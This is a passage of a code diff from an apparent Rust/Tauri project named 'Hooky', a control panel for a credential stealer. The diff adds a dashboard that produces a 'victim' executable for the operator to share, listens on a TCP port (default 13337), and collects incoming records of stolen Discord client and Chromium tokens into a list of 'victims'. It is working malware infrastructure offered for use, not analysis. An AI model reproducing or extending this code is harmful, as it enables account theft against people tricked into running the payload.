                let mut total = Vec::new();
                let mut buffer = [0; 4096];
                while stream.read(&mut buffer).unwrap() == 4096 {
                    for i in buffer {
                        total.push(i);
                    }
                }
                for i in buffer {
                    total.push(i);
                }
                let new_sends: Sends = bincode::deserialize(&total).unwrap();
                let hooks = Arc::clone(&HOOKS);
                let mut hooks = hooks.lock().unwrap();
                (*hooks).push(new_sends);
            });
        }
    });
}

#[tauri::command]
fn victim_payload() -> String {
    let mut path = std::env::current_exe().unwrap();
    for _ in 0..4 {
        path.pop();
    }
    for i in vec!["victim", "target", "release", "victim"] {
        path.push(i);
    }
    path.display().to_string()
}

#[tauri::command]
fn get_new() -> Vec<Sends> {
    let sends = (*HOOKS.lock().unwrap()).clone();
    let start_at = *INDEX.lock().unwrap();
    let index = Arc::clone(&INDEX);
    let mut index = index.lock().unwrap();
    *index = sends.len();
    return sends[start_at..].to_vec()
}

fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![gen])
        .invoke_handler(tauri::generate_handler![gen, victim_payload, get_new])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}

M command/src/app.rs => command/src/app.rs +19 -3
@@ 48,7 48,21 @@ pub fn app() -> Html {

    let mut id = 0;

    html! {
        <main class="container">
        <>
        <div id={"GenCover"}>
            <div id={"loading"}>    
                <img src="/public/loading.svg" width="200px" height="200px" />
            </div>
        </div>
        <div class="container" id={"dashboard"}>
            <div class="row">
                <img src="public/hooky.svg" class="logo hooky" alt="Hooky"/>
            </div>
            <p>{"The executable for you to share:"}</p>
            <pre id={"victim_exe"}></pre>
            <div id={"victims"}></div>
        </div>
        <div class="container" id={"setup"}>
            <div class="row">
                <img src="public/hooky.svg" class="logo hooky" alt="Hooky"/>
            </div>

@@ 58,7 72,7 @@ pub fn app() -> Html {

            <button type="button" onclick={payload_button}>{"Open"}</button>
            
            <label for={"ip"}>{"Ip / Domain to send the data to"}</label>
            <input type="text" value={"1.1.1.1"} id={"ip"} />
            <input type="text" value={"0.0.0.0"} id={"ip"} />
            
            <label for={"port"}>{"Port to send the data to"}</label>
            <input type="number" value={13337} id={"port"} />

@@ 74,6 88,8 @@ pub fn app() -> Html {

            <div class="row" style="margin-top: 25px">
                <button type="button" onclick={gen}>{"Generate"}</button>
            </div>
        </main>
        </div>
        <script src="/public/main.js" />
        </>
    }
}

M command/style.css => command/style.css +24 -0
@@ 87,3 87,27 @@ button {

input[type=checkbox] {
    outline: 2px solid #ffffff;
}

#GenCover {
    display: none;
}

#loading {
    display: flex;
    align-items: center;
    justify-content: center;
    height: calc(100vh - 16px);
}

#dashboard {
    display: none;
}

#victims {
    text-align:left;
}

#victims pre {
    margin-left:50px;
    margin-right:50px;
}

M data/src/lib.rs => data/src/lib.rs +1 -1
@@ 3,7 3,7 @@ use serde_derive::{Deserialize, Serialize};

#[cfg(feature = "functions")]
mod all_data;

#[derive(Deserialize, Serialize)]
#[derive(Deserialize, Serialize, Clone)]
pub struct Sends {
    pub discord_client_token: Option<String>,
    pub discord_chromium_token: Option<String>,